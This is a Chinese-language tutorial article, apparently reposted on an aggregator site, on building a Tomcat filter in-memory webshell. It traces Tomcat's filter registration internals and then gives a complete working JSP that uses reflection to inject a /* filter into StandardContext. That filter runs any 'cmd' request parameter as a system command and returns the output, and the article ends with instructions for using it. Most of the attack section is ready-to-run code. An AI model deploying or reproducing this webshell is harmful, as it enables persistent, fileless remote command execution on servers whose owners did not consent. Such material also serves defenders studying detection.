栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

java-tomcat-filter内存马

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

java-tomcat-filter内存马

tomcat-filter内存马 简要描述

众所周知,servlet 有过滤机制,过滤机制有两种实现方法,可以通过注释实现,亦可以通过 web.xml 配置文件实现

注释实现

package com.sec.filter;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;

@WebFilter("/*")
public class FilterDemo implements Filter {
    public void init(FilterConfig filterConfig) throws ServletException { }

    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        Runtime.getRuntime().exec("calc");
        filterChain.doFilter(servletRequest,servletResponse);
    }

    public void destroy() { }
}

配置文件实现


    FilterDemo
    com.sec.filter.FilterDemo


    FilterDemo
    /*

当配置了上面的过滤器之后,每一次访问服务器都会调用过滤器的doFilter方法,也就是调用FilterDemo#doFilter方法

tomcat-filter内存马是通过向服务器注入匹配url为 /* 的过滤器,且过滤器中的doFilter方法中存在我们构造的恶意代码,这时我们访问任何url地址都会调用doFilter方法进行过滤处理,自然其中的恶意代码也会被执行!

环境搭建

IDEA创建一个web项目,导入 servlet 包,导入所有tomcat中lib目录所有的包

前景知识

流程分析之前先了解几个类

首先是 FilterDef 类,这个类有 filterClass 和 filterName 两个字段,其实就对应着配置文件里的 标签


    FilterDemo
    com.sec.filter.FilterDemo

再就是 FilterMap 类,这个类有 filterName 和 urlPatterns 两个字段,其实就对应着配置文件里的 标签


    FilterDemo
    /*

流程分析

在 ContextConfig#processClass 方法打断点,调试启动tomcat,此时程序停在 processClass 方法

这里获取到类的所有注释,然后遍历获取注释的类型,当注释类型为 Ljavax/servlet/annotation/WebFilter 时,也就是注释实现过滤器,会调用 ContextConfig#processAnnotationWebFilter 方法

跟进 processAnnotationWebFilter 方法,fragment 是跟 web.xml 配置文件相关联的一个变量,这里会通过 fragment.getFilters().get 尝试获取配置文件里配置的 filter,因为我们的 filter 是通过注释实现的,所以这里获取不到,filterDef 则为空,isWebXMLfilterDef 会被赋值为 false,且filterDef 的 FilterName 和 FilterClass 字段都赋值为 com.sec.filter.FilterDem

继续跟进,把 filterMap 的 FilterName 赋值为 com.sec.filter.FilterDem,URLPattern 赋值为从注释中获取到的值,即 /* ,最后把 filterMap和 filterDef 都加到 fragment 里面

最终会在 ContextConfig#configureContext 方法把 filterMap和 filterDef添加到 context 中

继续跟进 ApplicationFilterFactory#createFilterChain 方法,这里创建一个 ApplicationFilterChain 类,然后获取到前面提到的 context 变量,再通过 context 变量获取到前面设置的filterMaps

然后获取当前请求的路径等信息

接着循环遍历 filterMaps ,当 filterMaps 跟当前请求的 dispatcher 和 requestPath 相吻合则把 filterMaps 对应的 filterConfig 加入到 filterChain中

跟进 addFilter 方法,判断filterChain是否已经存在相同的 filterConfig 了和做扩容处理,最后把这个 filterConfig 赋值给 ApplicationFilterChain 对象的this.filters 数组中

至此,我们要明白有两点

  1. 在 ContextConfig#processClass 方法中把类中的过滤器注释转换为 FilterDef 和 FilterMap ,最终在 ContextConfig#configureContext 方法把 filterMap和 filterDef添加到 context 中
  2. 在 ApplicationFilterFactory#createFilterChain 方法中获取到当前访问的 servlet 地址,找到和 servlet 地址匹配的 filterConfig 加入到ApplicationFilterChain 对象的this.filters 数组中,等待调用!

那么接下来看一下在哪里调用,在 StandardWrapperValve#invoke 方法中,其调用了 ApplicationFilterFactory.createFilterChain 方法获取到存储着 相关 filterConfig 的 filterChain 变量

然后调用了 filterChain.doFilter 方法,也就是 ApplicationFilterChain#doFilter 方法

filterChain.doFilter 方法调用 internalDoFilter 方法,跟进到 internalDoFilter 方法,这个方法获取到 filters 数组里的 filterConfig,也就是我们前面提到的 this.filters 数组,接着获取 filterConfig 对应的filter,然后调用filter的doFilter方法

经过上面的调用,最终调用到我们自定义的 FilterDemo#doFilter 方法,小小调用栈如下

构造注入内存马

构造按照着 ApplicationFilterChain#createFilterChain 方法里的代码逻辑进行构造

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%
    ServletContext servletContext = request.getServletContext();
    ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
    Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context");
    applicationContextFacadeContext.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);
    Field applicationContextContext = applicationContext.getClass().getDeclaredField("context");
    applicationContextContext.setAccessible(true);
    StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);

    Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
    filterConfigs.setAccessible(true);
    HashMap hashMap = (HashMap) filterConfigs.get(standardContext);
    String filterName = "ky1231";
    if (hashMap.get(filterName)==null){

        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {
                //Filter.super.init(filterConfig);
                //System.out.println("内存马init");
            }

            @Override
            public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
                if (request.getParameter("cmd")!=null){
                    //String[] cmds = {"/bin/sh","-c",request.getParameter("cmd")}
                    String[] cmds = {"cmd","/c",request.getParameter("cmd")};
                    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                    byte[] bcache = new byte[1024];
                    int readSize = 0;
                    try(ByteArrayOutputStream outputStream = new ByteArrayOutputStream()){
                        while ((readSize =in.read(bcache))!=-1){
                            outputStream.write(bcache,0,readSize);
                        }
                        response.getWriter().println(outputStream.toString());
                    }
                }


            }

            @Override
            public void destroy() {
                Filter.super.destroy();
            }
        };
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(filterName);
        filterDef.setFilterClass(filter.getClass().getName());
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(filterName);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
        standardContext.addFilterMapBefore(filterMap);

        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
        hashMap.put(filterName,applicationFilterConfig);
        response.getWriter().println("inject successfully");
    }
%>

先访问 shell.jsp,这时成功注入内存马,访问任务url地址,带上cmd参数即可执行命令

总结

tomcat-filter内存马需要在tomcat7+以上才能注入成功,原因是 javax.servlet.DispatcherType 类(shell.jsp中用到)是Servlet3以后才引入的,而且在 tomcat7+才支持 Servlet3!

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/686395.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号